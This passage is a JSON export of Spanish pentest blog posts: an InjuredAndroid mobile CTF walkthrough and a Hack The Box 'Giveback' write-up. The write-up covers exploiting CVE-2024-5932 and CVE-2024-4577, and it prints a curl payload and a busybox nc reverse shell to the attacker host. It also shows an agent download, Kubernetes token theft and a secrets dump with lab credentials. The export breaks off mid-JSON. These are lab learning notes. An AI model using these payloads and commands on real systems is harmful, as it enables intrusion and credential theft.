[{"categories":["Pentest"],"content":"En esta sección voy a ir subiendo una serie de pentestings a aplicaciones móviles que estoy haciendo como preparación para la eMAPT. La idea es usar esto como mis propios apuntes para documentar el proceso de explotación de cada vulnerabilidad y tener bien claros los vectores de ataque más comunes en Android.\nFlag I: LOGIN I Para la primera flag lo que haremos será directamente inspeccionar la APK para fijarnos en los datos de cada “flag” oculta. Podemos observar que esta es muy sencilla ya que la flag está en el propio código.\nFlag II: EXPORTED ACTIVITY Esta segunda flag nos deja una pista bastante clara: Hay que inspeccionar la APK para descubrir actividades exportadas (accesibles desde fuera) que nos permitirán bypassear la MainActivity.\nEn otras palabras, detectar actividades no protegidas nos permite ejecutar la aplicación sin tener que pasar por la actividad principal, eso nos puede permitir saltarnos ciertas medidas de seguridad y además android nos permite ejecutarla desde otras apps\nVamos a ello!\nPara ello usaremos una herramienta llamada Drozer. esta herramienta nos permitirá analizar la app desde dentro y observar que componentes están expuestos (actividades expuestas).\nPrimero de todo debemos descargar el agente para poder conectarnos al servidor de Drozer y lo activamos.\nDespués deberemos redireccionar el puerto de nuestro PC al puerto abierto de drozer del Android (31415) y abriremos una consola en nuestra terminal.\nCuando lo tenemos todo conectado empezaremos a enumerar la información de la app. Con los siguientes comandos podemos enumerar información general de la app (permisos, nombre, path…) y información general de las actividades (exportadas, permisos…) respectivamente.\nrun app.package.info -a \u0026lt;package\u0026gt; run app.activity.info -a \u0026lt;package\u0026gt; Ahora que tenemos las actividades exportadas, probaremos de ejecutarlas para ver cual contiene la flag. Lo haremos con el siguiente comando:\nadb shell am start -n \u0026lt;package\u0026gt;/.\u0026lt;activity\u0026gt; En este caso:\nLo tenemos!\nOtra manera de ver las actividades exportadas seria con este comando :\nadb shell dumpsys package \u0026lt;package\u0026gt; | grep -i activity O directamente desde el archivo AndroidManifest.xml:\nAquí métodos no faltan! Pasamos a la siguiente flag.\n(Teoria: El fallo es el atributo android:exported=\u0026quot;true\u0026quot; en el Manifest sin ningún permiso que lo proteja. Esto permite que cualquiera llame a la actividad desde fuera y se salte el login o cualquier flujo lógico de la app.)\nFlag III: RESOURCES Tenemos pista: Recursos y archivos.xml\nPrimero reviso los importantes, el AndroidManifest.xml pero no encuentro nada; luego el strings.xml.\nAquí la tenemos. Siguiente\nFlag IV: LOGIN II En el código principal vemos como se crea una instancia de la clase g() llamando a su método a() y luego se compara con el valor introducido por el usuario a través del EditText.\nSi entramos a esta clase podemos ver lo siguiente:\nVemos que la flag esta en base 64 asi que acudimos a nuestro amigo cyberChef.\nY lo tenemos!!\nPD: se podría hacer dinámicamente usando Frida pero lo dejaremos para otro capítulo\n(Teoria : El error es meter secretos (como la clave en base64) a pelo en el código. Por mucho que lo ofusques o lo codifiques, si está en el cliente, el atacante lo va a encontrar tarde o temprano mediante ingeniería inversa.)\nFlag V: EXPORTED BROADCAST RECEIVER Analizando el código de este reto he podido observar que para obtener la flag había que interactuar con el onRecive y viendo las condiciones solo dando 3 clicks en el botón te daba la flag.\neasyone :P\n(Teoria: El BroadcastReceiver responde a eventos externos sin validar correctamente el origen ni el estado interno. Esto permite que un atacante interactúe con él (en este caso mediante clicks/eventos) hasta cumplir la condición que revela la flag. El fallo es no implementar controles de acceso ni validaciones en componentes expuestos.)\nFlag VI: LOGIN III Viendo el código observamos que la flag esta codeada, si accedemos a la función vemos que se le aplican diferentes métodos para descodificarla. Podríamos seguir el paso a paso , pero como hemos comentado previamente tenemos la oportunidad ( y facilidad ) de usar una herramienta llamada Frida. Frida nos permite interceptar (hooking) llamadas a funciones, clases … en momento de runtime, entonces aquí la idea seria que en vez de rompernos la cabeza descodificando esta cadena, usaremos la propia app para que nos de la flag sin esfuerzo ninguno.\ny obtenemos la flag!\nFlag VII: SQLITE En esta ocasión nos pide un usuario y una password, analizando el código podemos observar que el ejercicio crea una database, tenemos los datos en base64 pero prefiero hacerlo bien. Nos conectamos al device y accedemos a las bases de datos de la app y llegamos al hash siguiente:\nLo pasaremos por nuestro otro gran amigo CrackStation y obtenemos la supuesta flag (o nombre de usuario).\nEn este punto tenemos el nombre de usuario, pero también necesitamos la password (segunda flag).\nGracias a CTF o máquinas anteriores me puedo dar cuenta de que el inicio del supuesto hash de la password:\n9EEADi^^ Tiene un aire a:\nhttps:// Entonces con la IA en nuestra bando descubro que esta encriptado con ROT-47:\ny obtenemos lo siguiente\nY dentro de la URL:\n(Esta flag se puede obtener usando dynamic analysis que lo adjuntare en la segunda parte de los apuntes)\n(Teoria: Almacenamiento inseguro. Guardar credenciales o datos sensibles en bases de datos locales (aunque sea en /data/data/) es un riesgo si el móvil está rooteado o si hay una vulnerabilidad de lectura de archivos. El hash ayuda, pero si es débil (como este), se rompe fácil.)\nFLAG VIII \u0026amp; IX: AWS \u0026amp; FIREBASE Viendo el código deberiamos encontrar credenciales para AWS pero después de rato no podemos encontrar nada…\nEn el código podemos ver una cadena en base64 que si la descodificamos tenemos lo siguiente:\nY tambien en los strings encontramos la URL: https://injuredandroid.firebaseio.com\nSi juntamos todo tenemos:\nHaciendo este reto, me doy cuenta de que en la flag 8 aparece una función llamada database.child(”aws”) y tiene igual que ver que el reto 9 pero a diferencia que en este el”child” esta codificado en base64 asi que me da por probar y bingo!!\n(Teoria: Hardcoding de credenciales de servicios en la nube. Nunca se deben dejar API keys o URLs de bases de datos (Firebase/AWS) expuestas en los strings o el código, porque permiten acceso directo a la infraestructura del servidor desde el lado del cliente.)\nFinal Parte I De momento lo dejamos aquí con estas primeras flags. Más adelante seguiré con la segunda parte de los apuntes, donde nos meteremos en cosas más dinámicas y avanzadas que se han quedado en el tintero.\n","permalink":"https://synacklabs.github.io/posts/injuredandroid/","tags":["Ghidra","Reversing","Mobile","Pentest"],"title":"InjuredAndroid Part I"},{"categories":["Machine"],"content":"\nResumen Esta máquina combina una cadena de compromiso bastante completa: explotación de un plugin vulnerable de WordPress, pivoting hacia una red interna de Kubernetes, explotación de PHP-CGI en un contenedor legacy, y finalmente escalada de privilegios abusando de un binario con permisos de sudo que gestiona contenedores OCI. El recorrido pasa por tres contenedores distintos antes de llegar al nodo host.\nReconocimiento Empiezo con un escaneo de puertos:\nPORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 66:f8:9c:58:f4:b8:59:bd:cd:ec:92:24:c3:97:8e:9e (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCNmct03SP9FFs6NQ+Pih2m65SYS/Kte9aGv3C8l43TJGj2UcSrcheEX2jBL/jbje/HRafbJcGqz1bKeQo1cbAc= | 256 96:31:8a:82:1a:65:9f:0a:a2:6c:ff:4d:44:7c:d3:94 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICjor5/gXrTqGEWiETEzhgoni1P2kXV3B4O2/v2SGnH0 80/tcp open http syn-ack ttl 62 nginx 1.28.0 |_http-favicon: Unknown favicon MD5: 000BF649CC8F6BF27CFB04D1BCDCD3C7 |_http-server-header: nginx/1.28.0 | http-methods: |_ Supported Methods: GET HEAD POST |_http-title: GIVING BACK IS WHAT MATTERS MOST \u0026amp;#8211; OBVI | http-robots.txt: 1 disallowed entry |_/wp-admin/ |_http-generator: WordPress 6.8.1 30686/tcp open http syn-ack ttl 63 Golang net/http server | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Site doesn\u0026#39;t have a title (application/json). |_http-favicon: Unknown favicon MD5: 078C07D5669A42740EF813D5300EBA4D | fingerprint-strings: | FourOhFourRequest: | HTTP/1.0 200 OK | Content-Type: application/json | X-Content-Type-Options: nosniff | X-Load-Balancing-Endpoint-Weight: 1 | Date: Thu, 06 Nov 2025 11:10:54 GMT | Content-Length: 127 | \u0026#34;service\u0026#34;: { | \u0026#34;namespace\u0026#34;: \u0026#34;default\u0026#34;, | \u0026#34;name\u0026#34;: \u0026#34;wp-nginx-service\u0026#34; | \u0026#34;localEndpoints\u0026#34;: 1, | \u0026#34;serviceProxyHealthy\u0026#34;: true | GenericLines, Help, LPDString, RTSPRequest, SSLSessionReq: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest, HTTPOptions: | HTTP/1.0 200 OK | Content-Type: application/json | X-Content-Type-Options: nosniff | X-Load-Balancing-Endpoint-Weight: 1 | Date: Thu, 06 Nov 2025 11:10:39 GMT | Content-Length: 127 | \u0026#34;service\u0026#34;: { | \u0026#34;namespace\u0026#34;: \u0026#34;default\u0026#34;, | \u0026#34;name\u0026#34;: \u0026#34;wp-nginx-service\u0026#34; | \u0026#34;localEndpoints\u0026#34;: 1, |_ \u0026#34;serviceProxyHealthy\u0026#34;: true Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel El puerto 80 sirve un WordPress 6.8.1. El puerto 30686 expone un endpoint JSON que identifica el servicio interno wp-nginx-service, lo que ya me indica que estamos ante un entorno Kubernetes.\nAcceso Inicial (Foothold) Explotación de GiveWP (CVE-2024-5932) La web incluye una página de donaciones gestionada por el plugin GiveWP. Este plugin en ciertas versiones es vulnerable a una inyección de objetos PHP (CVE-2024-5932) que deriva en ejecución remota de código (RCE) debido a una deserialización insegura.\nhttps://www.skshieldus.com/download/files/download.do?o_fname=Research%20Technique_PHP%20Object%20Injection%20Vulnerability%20in%20WordPress%20GiveWP%20(CVE-2024-5932).pdf\u0026amp;r_fname=20240927174114070.pdf\nHay un PDF público con el análisis técnico y PoC:\nhttps://github.com/EQSTLab/CVE-2024-5932 La vulnerabilidad permite deserialización PHP no confiable, lo que lleva a ejecución de código remoto. La exploto y obtengo una reverse shell.\nEnumeración del contenedor WordPress Leo wp-config.php y obtengo las credenciales:\nWordPress Admin:\nUsuario: user Contraseña: O8F7KR5zGi Base de Datos:\nHost: beta-vino-wp-mariadb (10.43.147.82) Usuario: bn_wordpress Contraseña: sW5sp4spa3u7RLyetrekE4oS Base de datos: bitnami_wordpress Del output de env identifico un servicio interno muy interesante:\nLEGACY_INTRANET_SERVICE_SERVICE_HOST=10.43.2.241 LEGACY_INTRANET_SERVICE_PORT_5000_TCP=tcp://10.43.2.241:5000 Este contenedor está en un entorno Docker muy limitado, así que para poder alcanzar la red interna necesito hacer pivoting.\nPivoting con Ligolo-ng Para alcanzar la red interna 10.43.0.0/16, utilizo Ligolo-ng. Dado que el entorno del contenedor es restrictivo, transfiero el agente de Ligolo utilizando un one-liner de PHP:\nphp -r \u0026#39;$file = file_get_contents(\u0026#34;http://10.10.14.7:8081/agent\u0026#34;); file_put_contents(\u0026#34;agent\u0026#34;,$file);\u0026#39; Usamos Ligolo-ng para el pivoting.\nConecto el agente:\n./agent -ignore-cert -connect 10.10.14.7:11601 \u0026amp; Añado las rutas necesarias en el proxy:\nligolo-ng » route_add --route 10.43.0.0/16 --name intimatebourgui ligolo-ng » route_add --route 10.42.0.0/16 --name intimatebourgui Explotación de PHP-CGI (CVE-2024-4577) Con el túnel establecido, alcanzo el servicio interno en 10.43.2.241:5000. Detecto que está ejecutando una versión vulnerable de PHP-CGI. Utilizo un exploit para CVE-2024-4577, enviando la carga útil mediante curl para poder visualizar la respuesta.\nlink_preview\nCon el exploit no podiamos ver el resultado de la respuesta del servidor pero funcionaba.\nPrimero, verifico ejecución de comandos:\n┌──(kali㉿kali)-[~/Desktop/HTB/Giveback/exploit] └─$ curl -s -X POST \u0026#34;http://10.43.2.241:5000/cgi-bin/php-cgi?-d+allow_url_include%3dOn+-d+auto_prepend_file%3dphp://input\u0026#34; --data \u0026#34;id\u0026#34; [START]uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) [END] Luego, lanzo una reverse shell empleando busybox:\n└─$ curl -s -X POST \u0026#34;http://10.43.2.241:5000/cgi-bin/php-cgi?-d+allow_url_include%3dOn+-d+auto_prepend_file%3dphp://input\u0026#34; --data \u0026#34;/bin/busybox nc 10.10.14.231 4441 -e /bin/sh |sh\u0026#34; VARIABLES DE ENTORNO env KUBERNETES_PORT=tcp://10.43.0.1:443 KUBERNETES_SERVICE_PORT=443 HOSTNAME=legacy-intranet-cms-6f7bf5db84-lfw7l PHP_INI_DIR=/usr/local/etc/php BETA_VINO_WP_WORDPRESS_SERVICE_PORT=80 BETA_VINO_WP_WORDPRESS_PORT=tcp://10.43.61.204:80 WP_NGINX_SERVICE_PORT=tcp://10.43.4.242:80 LEGACY_INTRANET_SERVICE_SERVICE_HOST=10.43.2.241 WP_NGINX_SERVICE_SERVICE_PORT=80 SHLVL=4 PHP_CGI_VERSION=8.3.3 LEGACY_INTRANET_SERVICE_PORT_5000_TCP=tcp://10.43.2.241:5000 HOME=/root OLDPWD=/var/www PHP_LDFLAGS=-Wl,-O1 -pie LEGACY_CGI_ENABLED=true BETA_VINO_WP_WORDPRESS_PORT_80_TCP_ADDR=10.43.61.204 BETA_VINO_WP_MARIADB_PORT_3306_TCP_ADDR=10.43.147.82 PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 WP_NGINX_SERVICE_PORT_80_TCP_ADDR=10.43.4.242 PHP_VERSION=8.3.3 LEGACY_INTRANET_SERVICE_PORT=tcp://10.43.2.241:5000 LEGACY_INTRANET_SERVICE_SERVICE_PORT=5000 LEGACY_MODE=enabled BETA_VINO_WP_WORDPRESS_PORT_80_TCP_PORT=80 BETA_VINO_WP_MARIADB_PORT_3306_TCP_PORT=3306 GPG_KEYS=1198C0117593497A5EC5C199286AF1F9897469DC C28D937575603EB4ABB725861C0779DC5C0A9DE4 AFD8691FDAEDF03BDF6E460563F15A9B715376CA BETA_VINO_WP_WORDPRESS_PORT_80_TCP_PROTO=tcp WP_NGINX_SERVICE_PORT_80_TCP_PORT=80 BETA_VINO_WP_MARIADB_SERVICE_HOST=10.43.147.82 BETA_VINO_WP_MARIADB_PORT_3306_TCP_PROTO=tcp PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 PHP_ASC_URL=https://www.php.net/distributions/php-8.3.3.tar.xz.asc BETA_VINO_WP_MARIADB_SERVICE_PORT_MYSQL=3306 WP_NGINX_SERVICE_PORT_80_TCP_PROTO=tcp PHP_URL=https://www.php.net/distributions/php-8.3.3.tar.xz PHP_MAX_EXECUTION_TIME=120 KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin BETA_VINO_WP_MARIADB_PORT=tcp://10.43.147.82:3306 BETA_VINO_WP_MARIADB_SERVICE_PORT=3306 BETA_VINO_WP_WORDPRESS_PORT_80_TCP=tcp://10.43.61.204:80 KUBERNETES_PORT_443_TCP_PORT=443 BETA_VINO_WP_MARIADB_PORT_3306_TCP=tcp://10.43.147.82:3306 BETA_VINO_WP_WORDPRESS_PORT_443_TCP_ADDR=10.43.61.204 PHP_MEMORY_LIMIT=128M WP_NGINX_SERVICE_PORT_80_TCP=tcp://10.43.4.242:80 KUBERNETES_PORT_443_TCP_PROTO=tcp CMS_ENVIRONMENT=development BETA_VINO_WP_WORDPRESS_PORT_443_TCP_PORT=443 BETA_VINO_WP_WORDPRESS_PORT_443_TCP_PROTO=tcp BETA_VINO_WP_WORDPRESS_SERVICE_PORT_HTTP=80 WP_NGINX_SERVICE_SERVICE_PORT_HTTP=80 KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443 PHPIZE_DEPS=autoconf dpkg-dev dpkg file g++ gcc libc-dev make pkgconf re2c KUBERNETES_SERVICE_HOST=10.43.0.1 LEGACY_INTRANET_SERVICE_PORT_5000_TCP_ADDR=10.43.2.241 PWD=/var PHP_SHA256=b0a996276fe21fe9ca8f993314c8bc02750f464c7b0343f056fb0894a8dfa9d1 BETA_VINO_WP_WORDPRESS_PORT_443_TCP=tcp://10.43.61.204:443 BETA_VINO_WP_WORDPRESS_SERVICE_PORT_HTTPS=443 BETA_VINO_WP_WORDPRESS_SERVICE_HOST=10.43.61.204 LEGACY_INTRANET_SERVICE_PORT_5000_TCP_PORT=5000 LEGACY_INTRANET_SERVICE_SERVICE_PORT_HTTP=5000 LEGACY_INTRANET_SERVICE_PORT_5000_TCP_PROTO=tcp WP_NGINX_SERVICE_SERVICE_HOST=10.43.4.242 Ya estoy dentro del contenedor legacy como root.\nExplotación de Kubernetes Revisando el entorno de este nuevo contenedor, busco los tokens del Service Account de Kubernetes montados por defecto:\n# Buscar service account tokens find /var/run/secrets/kubernetes.io/serviceaccount /run/secrets/kubernetes.io/serviceaccount -type f 2\u0026gt;/dev/null # Leer el token de servicio cat /var/run/secrets/kubernetes.io/serviceaccount/token # Leer namespace cat /var/run/secrets/kubernetes.io/serviceaccount/namespace # Leer CA cert cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt Con el token capturado, realizo consultas a la API de Kubernetes para extraer todos los secretos del namespace default:\nSECTRETOS KUBERNETES: cat /var/run/secrets/kubernetes.io/serviceaccount/..2025_11_06_14_58_37.3598381061/namespace default cat /var/run/secrets/kubernetes.io/serviceaccount/..2025_11_06_14_58_37.3598381061/ca.crt -----BEGIN CERTIFICATE----- MIIBdzCCAR2gAwIBAgIBADAKBggqhkjOPQQDAjAjMSEwHwYDVQQDDBhrM3Mtc2Vy dmVyLWNhQDE3MjY5Mjc3MjMwHhcNMjQwOTIxMTQwODQzWhcNMzQwOTE5MTQwODQz WjAjMSEwHwYDVQQDDBhrM3Mtc2VydmVyLWNhQDE3MjY5Mjc3MjMwWTATBgcqhkjO PQIBBggqhkjOPQMBBwNCAATWYWOnIUmDn8DGHOdKLjrOZ36gSUMVrnqqf6YJsvpk 9QbgzGNFzYcwDZxmZtJayTbUrFFjgSydDNGuW/AkEnQ+o0IwQDAOBgNVHQ8BAf8E BAMCAqQwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUtCpVDbK3XnBv3N3BKuXy Yd0zeicwCgYIKoZIzj0EAwIDSAAwRQIgOsFo4UipeXPiEXvlGH06fja8k46ytB45 cd0d39uShuQCIQDMgaSW8nrpMfNExuGLMZhcsVrUr5XXN8F5b/zYi5snkQ== -----END CERTIFICATE----- cat /var/run/secrets/kubernetes.io/serviceaccount/..2025_11_06_14_58_37.3598381061/token eyJhbGciOiJSUzI1NiIsImtpZCI6Inp3THEyYUhkb19sV3VBcGFfdTBQa1c1S041TkNiRXpYRS11S0JqMlJYWjAifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzkzOTc3MTE3LCJpYXQiOjE3NjI0NDExMTcsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiZDI1ZTAyYzAtZDM2Zi00ZDE0LWFiYjEtMmYxZDA3OTEwMTk5Iiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0Iiwibm9kZSI6eyJuYW1lIjoiZ2l2ZWJhY2suaHRiIiwidWlkIjoiMTJhOGE5Y2YtYzM1Yi00MWYzLWIzNWEtNDJjMjYyZTQzMDQ2In0sInBvZCI6eyJuYW1lIjoibGVnYWN5LWludHJhbmV0LWNtcy02ZjdiZjVkYjg0LXpjeDg4IiwidWlkIjoiNjEyYmJmZjMtOTQ3NS00ZGVmLTg2MjQtNTI1ODI4MzAwNDAzIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJzZWNyZXQtcmVhZGVyLXNhIiwidWlkIjoiNzJjM2YwYTUtOWIwOC00MzhhLWEzMDctYjYwODc0NjM1YTlhIn0sIndhcm5hZnRlciI6MTc2MjQ0NDcyNH0sIm5iZiI6MTc2MjQ0MTExNywic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRlZmF1bHQ6c2VjcmV0LXJlYWRlci1zYSJ9.QBBz0GhCwwg-X12f2akCz4vbMq3bg7_tYRbZfGN38qiiCEMNxtNv-NLLmFzZPSIPAZQAwOAik6AaIqclREuGBZITEUVnJ0e4ra7EH5koVHucEZO5DX8tUe46EgWl_tTZ92WcCWcLn9_LmLdAO4Wo6hfTeiTp5yMVz69uU0osxUWSUDN3pJLPtjGu_KCZZKGd57XOd0oMx-fkqUMQtPyE9h65ifQfppxadANB9LFzwhhe0NMVqPfAoBEhU8gFAx_PxB0USj7wshslvhLemDpZXFKjMNDICvq0RZMyx__06TdFx1Pbv71YeO12j4jdVtbkxaZSw8HVDqoY5wBJiIkajA TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) curl https://kubernetes.default.svc/api/v1/namespaces/default/secrets \\ -H \u0026#34;Authorization: Bearer $TOKEN\u0026#34; \\ --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt | grep \u0026#34;password\u0026#34; El output en JSON:\n\u0026#34;mariadb-password\u0026#34;: \u0026#34;c1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T\u0026#34;, \u0026#34;mariadb-root-password\u0026#34;: \u0026#34;c1c1c3A0c3lldHJlMzI4MjgzODNrRTRvUw==\u0026#34; }, \u0026#34;type\u0026#34;: \u0026#34;Opaque\u0026#34; }, { \u0026#34;metadata\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;beta-vino-wp-wordpress\u0026#34;, \u0026#34;namespace\u0026#34;: \u0026#34;default\u0026#34;, \u0026#34;uid\u0026#34;: \u0026#34;1cbbc5ac-1611-46af-8033-09e98dfc546b\u0026#34;, \u0026#34;resourceVersion\u0026#34;: \u0026#34;2088228\u0026#34;, \u0026#34;creationTimestamp\u0026#34;: \u0026#34;2024-09-21T22:17:31Z\u0026#34;, \u0026#34;labels\u0026#34;: { \u0026#34;app.kubernetes.io/instance\u0026#34;: \u0026#34;beta-vino-wp\u0026#34;, \u0026#34;app.kubernetes.io/managed-by\u0026#34;: \u0026#34;Helm\u0026#34;, \u0026#34;app.kubernetes.io/name\u0026#34;: \u0026#34;wordpress\u0026#34;, \u0026#34;app.kubernetes.io/version\u0026#34;: \u0026#34;6.8.2\u0026#34;, \u0026#34;helm.sh/chart\u0026#34;: \u0026#34;wordpress-25.0.5\u0026#34; }, \u0026#34;annotations\u0026#34;: { \u0026#34;meta.helm.sh/release-name\u0026#34;: \u0026#34;beta-vino-wp\u0026#34;, \u0026#34;meta.helm.sh/release-namespace\u0026#34;: \u0026#34;default\u0026#34; }, \u0026#34;managedFields\u0026#34;: [ { \u0026#34;manager\u0026#34;: \u0026#34;helm\u0026#34;, \u0026#34;operation\u0026#34;: \u0026#34;Update\u0026#34;, \u0026#34;apiVersion\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;time\u0026#34;: \u0026#34;2025-08-29T03:29:54Z\u0026#34;, \u0026#34;fieldsType\u0026#34;: \u0026#34;FieldsV1\u0026#34;, \u0026#34;fieldsV1\u0026#34;: { \u0026#34;f:data\u0026#34;: { \u0026#34;.\u0026#34;: {}, \u0026#34;f:wordpress-password\u0026#34;: {} }, \u0026#34;f:metadata\u0026#34;: { \u0026#34;f:annotations\u0026#34;: { \u0026#34;.\u0026#34;: {}, \u0026#34;f:meta.helm.sh/release-name\u0026#34;: {}, \u0026#34;f:meta.helm.sh/release-namespace\u0026#34;: {} }, \u0026#34;f:labels\u0026#34;: { \u0026#34;.\u0026#34;: {}, \u0026#34;f:app.kubernetes.io/instance\u0026#34;: {}, \u0026#34;f:app.kubernetes.io/managed-by\u0026#34;: {}, \u0026#34;f:app.kubernetes.io/name\u0026#34;: {}, \u0026#34;f:app.kubernetes.io/version\u0026#34;: {}, \u0026#34;f:helm.sh/chart\u0026#34;: {} } }, \u0026#34;f:type\u0026#34;: {} } } ] }, \u0026#34;data\u0026#34;: { \u0026#34;wordpress-password\u0026#34;: \u0026#34;TzhGN0tSNXpHaQ==\u0026#34; }, \u0026#34;type\u0026#34;: \u0026#34;Opaque\u0026#34; }, { \u0026#34;metadata\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;sh.helm.release.v1.beta-vino-wp.v58\u0026#34;, \u0026#34;namespace\u0026#34;: \u0026#34;default\u0026#34;, \u0026#34;uid\u0026#34;: \u0026#34;13034cd4-64e1-4e2e-9182-4ce0ffda27e8\u0026#34;, \u0026#34;resourceVersion\u0026#34;: \u0026#34;2123405\u0026#34;, \u0026#34;creationTimestamp\u0026#34;: \u0026#34;2025-08-30T05:17:49Z\u0026#34;, \u0026#34;labels\u0026#34;: { \u0026#34;modifiedAt\u0026#34;: \u0026#34;1726957051\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;beta-vino-wp\u0026#34;, \u0026#34;owner\u0026#34;: \u0026#34;helm\u0026#34;, \u0026#34;status\u0026#34;: \u0026#34;superseded\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;58\u0026#34; }, \u0026#34;managedFields\u0026#34;: [ { \u0026#34;manager\u0026#34;: \u0026#34;Helm\u0026#34;, \u0026#34;operation\u0026#34;: \u0026#34;Update\u0026#34;, \u0026#34;apiVersion\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;time\u0026#34;: \u0026#34;2025-08-30T05:21:45Z\u0026#34;, \u0026#34;fieldsType\u0026#34;: \u0026#34;FieldsV1\u0026#34;, \u0026#34;fieldsV1\u0026#34;: { \u0026#34;f:data\u0026#34;: { \u0026#34;.\u0026#34;: {}, \u0026#34;f:release\u0026#34;: {} }, \u0026#34;f:metadata\u0026#34;: { \u0026#34;f:labels\u0026#34;: { \u0026#34;.\u0026#34;: {}, \u0026#34;f:modifiedAt\u0026#34;: {}, \u0026#34;f:name\u0026#34;: {}, \u0026#34;f:owner\u0026#34;: {}, \u0026#34;f:status\u0026#34;: {}, \u0026#34;f:version\u0026#34;: {} } }, \u0026#34;f:type\u0026#34;: {} } } ] ... { \u0026#34;metadata\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;user-secret-babywyrm\u0026#34;, \u0026#34;namespace\u0026#34;: \u0026#34;default\u0026#34;, \u0026#34;uid\u0026#34;: \u0026#34;1cbd499c-abc0-4486-a23a-5908566b4a81\u0026#34;, \u0026#34;resourceVersion\u0026#34;: \u0026#34;2855768\u0026#34;, \u0026#34;creationTimestamp\u0026#34;: \u0026#34;2025-11-06T15:10:26Z\u0026#34;, \u0026#34;ownerReferences\u0026#34;: [ { \u0026#34;apiVersion\u0026#34;: \u0026#34;bitnami.com/v1alpha1\u0026#34;, \u0026#34;kind\u0026#34;: \u0026#34;SealedSecret\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;user-secret-babywyrm\u0026#34;, \u0026#34;uid\u0026#34;: \u0026#34;a7f29546-2649-4112-8ebc-004a59c55d5e\u0026#34;, \u0026#34;controller\u0026#34;: true } ], \u0026#34;managedFields\u0026#34;: [ { \u0026#34;manager\u0026#34;: \u0026#34;controller\u0026#34;, \u0026#34;operation\u0026#34;: \u0026#34;Update\u0026#34;, \u0026#34;apiVersion\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;time\u0026#34;: \u0026#34;2025-11-06T15:10:26Z\u0026#34;, \u0026#34;fieldsType\u0026#34;: \u0026#34;FieldsV1\u0026#34;, \u0026#34;fieldsV1\u0026#34;: { \u0026#34;f:data\u0026#34;: { \u0026#34;.\u0026#34;: {}, \u0026#34;f:MASTERPASS\u0026#34;: {} }, \u0026#34;f:metadata\u0026#34;: { \u0026#34;f:ownerReferences\u0026#34;: { \u0026#34;.\u0026#34;: {}, \u0026#34;k:{\\\u0026#34;uid\\\u0026#34;:\\\u0026#34;a7f29546-2649-4112-8ebc-004a59c55d5e\\\u0026#34;}\u0026#34;: {} } }, \u0026#34;f:type\u0026#34;: {} } } ] }, \u0026#34;data\u0026#34;: { \u0026#34;MASTERPASS\u0026#34;: \u0026#34;YnNvbHZGc3ZSenZJeTkyQjRnTTVYaUVOTlZjeUd2\u0026#34; }, \u0026#34;type\u0026#34;: \u0026#34;Opaque\u0026#34; }, { \u0026#34;metadata\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;user-secret-margotrobbie\u0026#34;, \u0026#34;namespace\u0026#34;: \u0026#34;default\u0026#34;, \u0026#34;uid\u0026#34;: \u0026#34;7f5e8598-c037-491c-8b33-8f656b6dd75d\u0026#34;, \u0026#34;resourceVersion\u0026#34;: \u0026#34;2855838\u0026#34;, \u0026#34;creationTimestamp\u0026#34;: \u0026#34;2025-11-06T15:10:33Z\u0026#34;, \u0026#34;ownerReferences\u0026#34;: [ { \u0026#34;apiVersion\u0026#34;: \u0026#34;bitnami.com/v1alpha1\u0026#34;, \u0026#34;kind\u0026#34;: \u0026#34;SealedSecret\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;user-secret-margotrobbie\u0026#34;, \u0026#34;uid\u0026#34;: \u0026#34;9751159e-3ed7-4b87-b4a5-3b5835d9c21a\u0026#34;, \u0026#34;controller\u0026#34;: true } ], \u0026#34;managedFields\u0026#34;: [ { \u0026#34;manager\u0026#34;: \u0026#34;controller\u0026#34;, \u0026#34;operation\u0026#34;: \u0026#34;Update\u0026#34;, \u0026#34;apiVersion\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;time\u0026#34;: \u0026#34;2025-11-06T15:10:33Z\u0026#34;, \u0026#34;fieldsType\u0026#34;: \u0026#34;FieldsV1\u0026#34;, 